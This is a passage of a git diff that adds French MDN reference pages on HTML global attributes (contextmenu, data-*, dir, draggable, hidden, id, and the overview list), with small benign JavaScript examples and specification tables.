+    <li>Sur cette ligne : on peut partager la page sur Twitter ou Facebook grâce au menu Partager du menu contextuel.</li>
+    <li><pre contextmenu="changeFont" id="fontSizing">Sur cette ligne : on peut changer la taille de la police en utilisant les options "Augmenter/Réduire la taille de la police" du menu contextuel</pre></li>
+    <menu type="context" id="changeFont">
+      <menuitem label="Augmenter la taille de la police" onclick="incFont()"></menuitem>
+      <menuitem label="Réduire la taille de la police" onclick="decFont()"></menuitem>
+    </menu>
+    <li contextmenu="ChangeImage" id="changeImage">Sur cette ligne : on peut  utiliser l'option "Changer l'image" du menu.</li><br />
+    <img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" />
+    <menu type="context" id="ChangeImage">
+      <menuitem label="Changer l'image" onclick="changeImage()"></menuitem>
+    </menu>
+  </ol>
+</body>
+
+ +

JavaScript

+ +
function shareViaTwitter() {
+  window.open("https://twitter.com/intent/tweet?text=" +
+      "Je découvre ContextMenu avec MDN.");
+}
+
+function shareViaFacebook() {
+  window.open("https://facebook.com/sharer/sharer.php?u=" +
+      "https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels/contextmenu");
+}
+function incFont(){
+  document.getElementById("fontSizing").style.fontSize="larger";
+}
+
+function decFont(){
+  document.getElementById("fontSizing").style.fontSize="smaller";
+}
+
+function changeImage(){
+  var j = Math.ceil((Math.random()*39)+1);
+  document.images[0].src="https://developer.mozilla.org/media/img/promote/promobutton_mdn" + j + ".png";
+}
+ +

Résultat

+ +
{{EmbedLiveSample("Exemples",600,500)}}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "obsolete.html#attr-contextmenu", "contextmenu")}}{{Spec2('HTML WHATWG')}}Rendu obsolète
{{SpecName('HTML5.1', "interactive-elements.html#context-menus", "contextmenu")}}{{Spec2('HTML5.1')}}Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.contextmenu")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/data-_star_/index.html b/files/fr/web/html/global_attributes/data-_star_/index.html new file mode 100644 index 0000000000..d8befa7a2f --- /dev/null +++ b/files/fr/web/html/global_attributes/data-_star_/index.html @@ -0,0 +1,83 @@ +--- +title: data-* +slug: Web/HTML/Attributs_universels/data-* +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/data-* +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

Les attributs universels data-* forment une classe d'attributs, appelés attributs de données (data attributes). Ils permettent d'échanger des données propriétaire entre le HTML et la représentation du DOM, qu'on peut manipuler avec des scripts.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}
+ + + +

De tels attributs sont disponibles via l'interface {{domxref("HTMLElement")}} de l'élément pour lequel l'attribut est utilisé. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'attribut.
+ Ici, l'astérisque (*) peut être remplacée par n'importe quel nom valide selon les règles appliquées aux noms XML et en respectant les contraintes suivantes :

+ +
    +
  • Le nom ne peut pas commencer par xml, quelle que soit la casse utilisée pour les différentes lettres
    • +
  • Le nom ne doit pas contenir de point-virgule (U+003A)
    • +
  • Le nom ne doit pas contenir de lettres majuscules de l'alphabet latin (A à Z).
    • +
+ +

La propriété {{domxref("HTMLElement.dataset")}} est un objet {{domxref("StringMap")}} et la valeur d'un attribut de donnée nommé data-test-valeur sera accessible via HTMLElement.dataset.testValeur car les tirets (U+002D) sont remplacés par la majuscule de la lettre suivante (CamelCase).

+ +

Utilisation

+ +

Lorsqu'on ajoute des attributs de données data-*, on peut utiliser les éléments HTML classiques afin d'en faire des objets complexes et puissants. Ainsi, un sprite d'un vaisseau spatial dans un jeu peut être modélisé via un élément {{HTMLElement("img")}} auquel on associe un attribut class et plusieurs attributs de données sous la forme data-*.

+ +
<img class="spaceship cruiserX3" src="shipX3.png"
+     data-ship-id="324" data-weapons="laserI laserII"
+     data-x="414354" data-y="85160" data-z="31940"
+     onclick="spaceships[this.dataset.shipId].blasted()">
+</img>
+
+ +

Pour un tutoriel plus avancé à propos des attributs de données HTML, lire l'article Manipuler les attributs de données.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML WHATWG')}}Pas de modification depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.data_attributes")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/dir/index.html b/files/fr/web/html/global_attributes/dir/index.html new file mode 100644 index 0000000000..5cf187f35e --- /dev/null +++ b/files/fr/web/html/global_attributes/dir/index.html @@ -0,0 +1,90 @@ +--- +title: dir +slug: Web/HTML/Attributs_universels/dir +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/dir +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel dir est un attribut à valeur contrainte qui indique la direction du texte contenu dans l'élément.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}
+ + + +

Les valeurs autorisées pour cet attribut sont :

+ +
    +
  • ltr : qui signifie left to right (gauche à droite), utilisé pour les langages écrits de gauche à droite (comme le français ou l'anglais par exemple)
    • +
  • rtl : qui signifie right to left (droite à gauche), utilisé pour les langages écrits de droite à gauche (comme l'arabe par exemple)
    • +
  • auto : qui délègue la décision à l'agent utilisateur. L'algorithme utilisé est relativement simple : le contenu textuel est analysé et lorsque le premier caractère possédant une direction « forte » est rencontré, cette direction est prise pour l'ensemble de l'élément.
    • +
+ +
+

Notes d'utilisation :
+ Cet attribut est obligatoire pour l'élément {{HTMLElement("bdo")}}, pour lequel l'attribut a une sémantique différente.

+ +
    +
  • +

    La valeur de l'attribut n'est pas héritée par l'élément {{HTMLElement("bdi")}}. S'il n'est pas défini, la valeur par défaut sera auto.

    +
    • +
  • +

    Cet attribut peut être surchargé par les propriétés CSS {{cssxref("direction")}} et {{cssxref("unicode-bidi")}}, (qui sont appliquées si une page CSS est active et que l'élément courant prend en charge ces propriétés).

    +
    • +
  • +

    La direction du texte est généralement liée à la sémantique du contenu et non à sa présentation. Il est donc recommandé d'utiliser cet attribut plutôt que des propriétés CSS quand la direction n'est pas lié à une quelconque mise en forme. Ainsi, le texte sera affiché correctement, y compris si le navigateur ne supporte pas ces propriétés CSS ou si CSS est désactivé.

    +
    • +
  • +

    La valeur auto doit être utilisée pour des données dont la direction est inconnue (comme par exemple des données provenant d'une saisie utilisateur).

    +
    • +
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement de {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, à partir de {{SpecName('HTML4.01')}} la valeur auto a été ajoutée et l'attribut est un attribut global à part entière.
{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}{{Spec2('HTML4.01')}}Attribut pris en charge pour tous les éléments à l'exception {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, et {{HTMLElement("script")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.dir")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/draggable/index.html b/files/fr/web/html/global_attributes/draggable/index.html new file mode 100644 index 0000000000..fe5d5cf514 --- /dev/null +++ b/files/fr/web/html/global_attributes/draggable/index.html @@ -0,0 +1,71 @@ +--- +title: draggable +slug: Web/HTML/Attributs_universels/draggable +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/draggable +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel draggable est un attribut à valeur contrainte qui indique si l'élément peut être déplacé avec la souris dans un geste de glisser-déposer lorsqu'on utilise l'API Drag & Drop ou les fonctionnalités natives du navigateur. Les valeurs autorisées pour cet attribut sont les suivantes :

+ +
    +
  • true : qui indique que l'élément peut être déplacé à la souris
    • +
  • false : qui indique que l'élément ne peut pas être déplacé à la souris
    • +
+ +

Si l'attribut n'est pas défini, la valeur par défaut sera auto : le comportement de l'élément sera celui spécifié par défaut par le navigateur.

+ +

Cet attribut est un attribut à valeur contrainte, ce n'est pas un attribut booléen. Il faut donc utiliser une valeur explicite true ou false. La notation raccourcie <img draggable>(utilisant uniquement le nom de l'attribut) ne fonctionnera pas :

+ +
<label draggable>Label exemple</label>
+ +

En revanche, on pourra correctement utiliser :

+ +
<label draggable="true">Label exemple</label>
+ +

Par défaut, seules les sélections de texte, les images et les liens peuvent être déplacés à la souris. Pour les autres éléments, il faudra définir le gestionnaire d'événements pour {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} afin de faire fonctionner le glisser-déposer. Cela est illustré dans cet exemple.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "interaction.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML WHATWG")}}Aucune modification depuis la dernière dérivation de {{SpecName('HTML5.1')}}
{{SpecName("HTML5.2", "interaction.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML5.2")}}Aucune modification
{{SpecName("HTML5.1", "editing.html#the-draggable-attribute", "draggable")}}{{Spec2("HTML5.1")}}Dérivation de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.draggable")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/hidden/index.html b/files/fr/web/html/global_attributes/hidden/index.html new file mode 100644 index 0000000000..c14d208620 --- /dev/null +++ b/files/fr/web/html/global_attributes/hidden/index.html @@ -0,0 +1,69 @@ +--- +title: hidden +slug: Web/HTML/Attributs_universels/hidden +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/hidden +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel hidden est un attribut booléen qui indique s'il n'est pas encore ou s'il n'est plus pertinent d'afficher l'élément courant. Cet attribut peut, par exemple, être utilisé afin de masquer des éléments tant que l'utilisateur ne s'est pas connecté. Le navigateur n'affichera pas les éléments masqués via cet attribut.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}}
+ + + +

Cet attribut ne doit pas être utilisé pour masquer du contenu qui devrait pouvoir être vu sous une autre présentation. Si un contenu est marqué comme masqué, il sera masqué pour l'ensemble des présentations, y compris pour les lecteurs d'écran et autres outils d'assistance.

+ +

Les éléments cachés avec hidden ne devraient pas avoir de lien qui pointent vers eux depuis des éléments visibles. De plus, les éléments fils de l'élément caché sont toujours actifs : cela signifie qu'ils peuvent être utilisés par les scripts et que les formulaires peuvent envoyer des données. Dans certains autres contextes, il est possible d'avoir des relations avec les éléments cachés via hidden.

+ +

Par exemple, on peut utiliser l'attribut ARIA aria-describedby pour faire référence à une description qui serait cachée (si cette dernière n'est pas pertinente seule). De même un élément {{HTMLElement("canvas")}} caché peut être utilisé comme un buffer hors champ par moteur graphique scripté.

+ +
+

Note : Cet attribut sera surchargé par la propriété CSS {{cssxref("display")}}. Ainsi, un élément dont le style a display: flex sera affiché à l'écran, même si l'attribut hidden est présent.

+
+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}{{Spec2('HTML WHATWG')}}Définit le rendu par défaut suggéré en CSS lorsque l'attribut hidden est utilisé.
{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}. La définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.hidden")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/id/index.html b/files/fr/web/html/global_attributes/id/index.html new file mode 100644 index 0000000000..a08d5e0dce --- /dev/null +++ b/files/fr/web/html/global_attributes/id/index.html @@ -0,0 +1,72 @@ +--- +title: id +slug: Web/HTML/Attributs_universels/id +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/id +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel id définit un identifiant qui doit être unique pour l'ensemble du document. Le but de cet attribut est de pouvoir identifier un élément lorsqu'on crée un lien, avec un fragment et qu'on souhaite le manipuler avec un script ou qu'on le met en forme avec CSS.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}
+ + + +
+

Note : La valeur de cet attribut est une chaîne de caractère « opaque ». Cela signifie que cet attribut ne doit pas être utilisé pour transporter de l'information. Les informations sur la signification de l'élément dans le document ne doivent pas être portées par la valeur de cet attribut.

+
+ +

La valeur de cet attribut ne doit pas contenir de blancs (espaces, tabulation, etc.). Les navigateurs interprèteront les identifiants avec des espaces comme si l'espace faisait partie de l'identifiant. Ce comportement est différent de celui de l'attribut {{htmlattrxref("class")}} qui permet d'avoir des valeurs séparées par des espaces. Les éléments ne peuvent avoir qu'un seul identifiant défini via l'attribut id.

+ +
+

Note : L'utilisation de caractères non-ASCII ou qui ne sont pas des chiffres latins ou'_', '-' et '.' peut entraîner des problèmes de compatibilité car ils n'étaient pas autorisé avec HTML 4. Bien que cette restriction n'existe plus avec HTML 5, un identifiant devrait toujours commencer par une lettre pour une meilleure compatibilité.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML WHATWG')}}Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML5.1')}}Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}{{Spec2('HTML5 W3C')}}Dérivée de {{SpecName('HTML WHATWG')}}, les caractères '_', '-' et '.' sont désormais acceptés s'ils ne sont pas utilisés au début de l'identifiant. Cet attribut devient un attribut global à part entière.
{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}{{Spec2('HTML4.01')}}Pris en charge par tous les éléments sauf {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.id")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/index.html b/files/fr/web/html/global_attributes/index.html new file mode 100644 index 0000000000..779e617a3d --- /dev/null +++ b/files/fr/web/html/global_attributes/index.html @@ -0,0 +1,196 @@ +--- +title: Les attributs universels +slug: Web/HTML/Attributs_universels +tags: + - Attribut + - Attribut universel + - HTML + - Reference + - Web +translation_of: Web/HTML/Global_attributes +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

Les attributs universels sont des attributs communs à l'ensemble des éléments HTML. Ces attributs peuvent donc être ajoutés sur tous les éléments (dans certains cas, les attributs n'auront aucun effet).

+ +

Les attributs universels peuvent être définis sur tous les éléments HTML, y compris pour les éléments non définis dans le standard. Autrement dit, les éléments non-standards doivent pouvoir accepter ces attributs. Cela permettra au navigateur de les gérer selon certains des aspects de la spécification. Par exemple, pour un navigateur conforme, un élément <toto hidden>...</toto> sera masqué bien que <toto> ne soit pas un élément HTML valide.

+ +

En plus des attributs universels HTML, il existe également les attributs universels suivants :

+ +
    +
  • {{htmlattrdef("xml:lang")}} et {{htmlattrdef("xml:base")}} : ces attributs proviennent des spécifications XHTML. Ils sont désormais dépréciés mais conservés pour des raisons de compatibilité.
    • +
  • Les nombreux attributs aria-* utilisés afin d'améliorer l'accessibilité.
    • +
  • Les attributs utilisés pour les gestionnaires d'événements déclarés directement sur les éléments : onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
    • +
+ +

Liste des attributs universels

+ +
+
{{htmlattrdef("accesskey")}}
+
Cet attribut fournit une indication permettant de générer un raccourci clavier pour l'élément courant. Cet attribut se compose d'une liste de caractères séparés par des espaces. Le navigateur doit utiliser le premier caractère qui existe selon la disposition du clavier utilisée.
+
{{htmlattrdef("autocapitalize")}}
+
Cet attribut contrôle la façon dont le texte saisi est automatiquement converti en majuscules. Les valeurs autorisées pour cet attribut sont : +
    +
  • off ou none : il n'y pas de convertion en majuscules réalisée.
    • +
  • on ou sentences : la première lettre de chaque phrase est écrite en majuscule par défaut. Les autres lettres sont en minuscules par défaut.
    • +
  • words : la première lettre de chaque mot est écrite en majuscule par défaut, les autres lettres sont en minuscules par défaut.
    • +
  • characters : toutes les lettres sont écrites en majuscules par défaut
    • +
+
+
{{htmlattrdef("class")}}
+
Une liste de classes, séparées par des espaces, qui permettent de catégoriser l'élément. Les classes permettent au CSS et à JavaScript de manipuler des éléments spécifiques grâce à des sélecteurs de classe (pour CSS) ou grâce à des fonctions telles que {{domxref("Document.getElementsByClassName()")}} (pour JavaScript).
+
{{htmlattrdef("contenteditable")}}
+
Un attribut à valeur contrainte qui indique si l'élément peut être édité par l'utilisateur. Si c'est le cas, le navigateur modifie l'interface utilisateur afin de permettre l'édition. Les valeur autorisées pour cet attribut sont : +
    +
  • true ou la chaîne vide : ces valeurs indiquent que l'élément doit pouvoir être édité
    • +
  • false qui indique que l'élément ne doit pas pouvoir être édité.
    • +
+
+
{{htmlattrdef("contextmenu")}}{{obsolete_inline}}
+
La valeur de cet attribut correspond à la valeur de l'attribut {{htmlattrxref("id","menu")}} d'un élément {{HTMLElement("menu")}} qui doit être utilisé comme menu contextuel par cet élément.
+
{{htmlattrdef("data-*")}}
+
Cette classe d'attribut, appelée « attributs de données personnalisés », permet d'échanger des informations dans un format propriétaire entre le HTML et le DOM afin de pouvoir les manipuler via des langage de scripts. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'ensemble des attribut définis de cette façon.
+
{{htmlattrdef("dir")}}
+
Un attribut à valeur contrainte qui indique la directionnalité du texte de l'élément. Les valeurs autorisées pour cet attribut sont : +
    +
  • ltr (l'abbréviation anglaise pour Left To Right) indique que le contenu est écrit de gauche à droite (comme le français par exemple)
    • +
  • rtl (l'abbréviation anglaise pour Right To Left) indique que le contenu est écrit de droite à gauche (comme l'arabe par exemple)
    • +
  • auto : c'est l'agent utilisateur qui décide. Il utilise un algortihme qui analyse les caractères du contenu de l'élément jusqu'à trouver un caractère avec une forte directionnalité qu'il applique alors à l'ensemble de l'élément.
    • +
+
+
{{htmlattrdef("draggable")}}
+
Un attribut à valeur contrainte qui indique qu'un élément peut être glissé/déposé grâce à l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont : +
    +
  • true : l'élément peut être glissé/déposé
    • +
  • false : l'élément ne peut pas être glissé/déposé.
    • +
+
+
{{htmlattrdef("dropzone")}} {{experimental_inline}}
+
Un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément grâce à l'API Drag & Drop. Les valeurs autorisées pour cet attribut sont : +
    +
  • copy : lorsque l'élément est déposé, une copie de l'élément est créée
    • +
  • move : lorsque l'élément est déposé, il est déplacé vers ce nouvel emplacement
    • +
  • link : un lien est créé vers les données qui sont déplacée.
    • +
+
+
{{htmlattrdef("exportparts")}} {{experimental_inline}}
+
Utilisé pour exporter de façon transitive certaines parties d'un arbre shadow sur un arbre réel.
+
{{htmlattrdef("hidden")}}
+
Un attribut booléen dont la valeur indique que l'élément n'est pas encore, ou n'est plus pertinent. Cet attribut peut ainsi être utilisé pour masquer les éléments d'une page qui ne peuvent pas être utilisés tant que la procédure de connexion n'est pas terminée. Le navigateur n'affichera pas les éléments pour lesquels cet attribut est utilisé. Cet attribut ne doit pas être utilisé afin de masquer du contenu qui aurait pu être affiché de façon pertinente.
+
{{htmlattrdef("id")}}
+
Cet attribut définit un identifiant, unique au sein de tout le document, ,pour un élément. Il doit permettre d'identifier un élément lorsqu'on crée un lien vers lui et/ou lorsque le manipule avec des scripts ou avec CSS.
+
{{htmlattrdef("inputmode")}}
+
Cet attribut fournit une indication au navigateur quant au type de contenu qui sera saisi dans le champ et qui aide à déterminer la configuration du clavier virtuel qui peut être affiché pour la saisie. Ce type est principalement utilisé pour les éléments {{HTMLElement("input")}} mais peut tout à fait être utilisé sur n'importe quel élément avec le mode {{htmlattrxref("contenteditable")}}.
+
{{htmlattrdef("is")}}
+
Cet attribut indique qu'un élément HTML standard devrait se comporter comme un élément personnalisé natif (voir Manipuler les custom elements pour plus d'informations).
+
{{htmlattrdef("itemid")}}
+
L'identifiant unique, global, d'un objet. Cet attribut est lié aux microdonnées.
+
{{htmlattrdef("itemprop")}}
+
Cet attribut permet d'ajouter des propriétés à un objet. Cet attribut est une paire entre un nom et une valeur. Cet attribut est lié aux microdonnées.
+
{{htmlattrdef("itemref")}}
+
Les propriétés d'un objet qui ne sont pas les éléments descendants de l'élément courant peuvent être associée via l'attribut itemscope contenant une référence vers un itemref. itemref fournit une liste d'identifiants d'éléments qui correspondent aux propriétés supplémentaires définies autre part dans le document. Cet attribut est lié aux microdonnées.
+
{{htmlattrdef("itemscope")}}
+
itemscope fonctionne généralement avec itemtype afin d'indiquer que le coded HTML contenu dans un bloc donné concerne un objet en particulier. itemscope crée l'objet et définit la portée de l'itemtype associée. itemtype est une URL valide construite à partir d'un vocabulaire (par exemple schema.org) qui décrit les objets et leurs propriétés. Cet attribut est lié aux microdonnées.
+
{{htmlattrdef("itemtype")}}
+
Cet attribut indique l'URL du vocabulaire utilisé pour définir les propriétés d'un objet. Cet attribut est lié aux microdonnées.
+
{{htmlattrdef("lang")}}
+
Cet attribut aide à définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits et pour les éléments éditables, c'est la langue dans laquelle ils devraient être écrits. Cet attribut contient une seule valeur telle que définie dans le document IETF Tags for Identifying Languages (BCP47). L'attribut xml:lang est prioritaire par rapport à cet attribut lorsqu'il s'agit de déterminer la langue d'un élément.
+
{{htmlattrdef("part")}} {{experimental_inline}}
+
Une liste séparée par des espaces avec les noms des parties (parts) de l'élément. Les noms des parties permettent au CSS de cibler et de mettre en forme certains éléments d'un arbre shadow via le pseudo-élément {{cssxref("::part")}}.
+
{{htmlattrdef("slot")}}
+
Cet attribut affecte un créneau de l'arbre du shadow DOM pour un élément. L'élément ayant l'attribut slot est affecté au créneau créé par l'élément {{HTMLElement("slot")}} pour lequel l'attribut {{htmlattrxref("name", "slot")}} correspond à la valeur de l'attribut slot.
+
{{htmlattrdef("spellcheck")}} {{experimental_inline}}
+
Un attribut à valeur contrainte qui définit s'il faut détecter les fautes d'orthographe/grammaire dans le texte de l'élément. Les valeurs autorisées pour cet attribut sont : +
    +
  • true qui indique que, si possible, il faut vérifier les erreurs d'orthographe
    • +
  • false qui indique qu'il ne faut pas vérifier les erreurs.
    • +
+
+
{{htmlattrdef("style")}}
+
Cet attribut contient les déclarations CSS utilisées pour mettre en forme l'élément. Note : il est recommandé d'utiliser un ou plusieurs fichiers séparés, plutôt que cet attribut, pour définir les règles de mise en forme. Le rôle de l'élément {{HTMLElement("style")}} consiste à permettre une mise en forme rapide, notamment pour des tests.
+
{{htmlattrdef("tabindex")}}
+
Cet attribut à valeur entière indique l'ordre dans lequel l'élément participe à la navigation au clavier via la tabulation. Il peut prendre différente valeur : +
    +
  • une valeur négative indiquera que l'élément peut recevoir le focus mais n'est pas accessible via la navigation séquentielle au clavier
    • +
  • 0 indiquera que l'élément peut recevoir le focus et être accessible via la navigation au clavier mais l'ordre est relatif et déterminé par l'agent utilisateur
    • +
  • une valeur positive indiquera que l'élément peut recevoir le focus et qu'il est accessible via la navigation au clavier. La valeur utilisée indique l'ordre relatif de l'élément dans la navigation. Autrement dit, la navigation au clavier ira dans le sens croissant des éléments selon leurs valeurs respectives de tabindex. Si plusieurs éléments ont la même valeur, ce sera leur ordre relatif dans le document qui sera utilisé.
    • +
+
+
{{htmlattrdef("title")}}
+
Cet attribut contient une représentation textuelle de l'information auquel il est lié. Une telle information est généralement, mais pas nécessairement, affichée sous la forme d'une bulle d'informations.
+
{{htmlattrdef("translate")}} {{experimental_inline}}
+
Un attribut à valeur contrainte qui est utilisé pour définir si les valeurs des attributs et des éléments fils de type {{domxref("Text")}} doivent être traduits lorsque la page est localisée. Les valeurs autorisées pour cet attribut sont : +
    +
  • La chaîne vide ou yes qui indiquent que l'élément doit être traduit
    • +
  • no qui indique que l'élément ne sera pas traduit.
    • +
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML WHATWG")}}
{{SpecName("CSS Shadow Parts", "#exposing")}}{{Spec2("CSS Shadow parts")}}Ajout des attributs universels part et exportparts.
{{SpecName("HTML5.3", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML5.3")}}
{{SpecName("HTML5.2", "dom.html#global-attributes", "Global attributes")}}{{Spec2("HTML5.2")}}Dérivation de {{SpecName("HTML WHATWG")}}. Depuis, {{SpecName("HTML5.1")}}, les attributs itemid, itemprop, itemref, itemscope et itemtype ont été ajoutés.
{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5.1')}}Les attributs contextmenu, spellcheck, draggable, et dropzone ont été ajoutés depuis {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}{{Spec2('HTML5 W3C')}}Le concept d'attribut universel est introduit et les attributs dir, lang, style, id, class, tabindex, accesskey, title sont désormais des attributs universels.
+ xml:lang qui faisait initialement partie de XHTML est inclus dans HTML. Les attributs
+ hidden, data-*, contenteditable et translate sont ajoutés.
{{SpecName('HTML4.01')}}{{Spec2('HTML4.01')}}Aucun attribut universel n'est défini. Plusieurs attributs, devenus universels par la suite, sont définis sur un sous-ensemble d'élément.
+ class et style sont pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
+ dir est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.
+ id est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
+ lang est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.
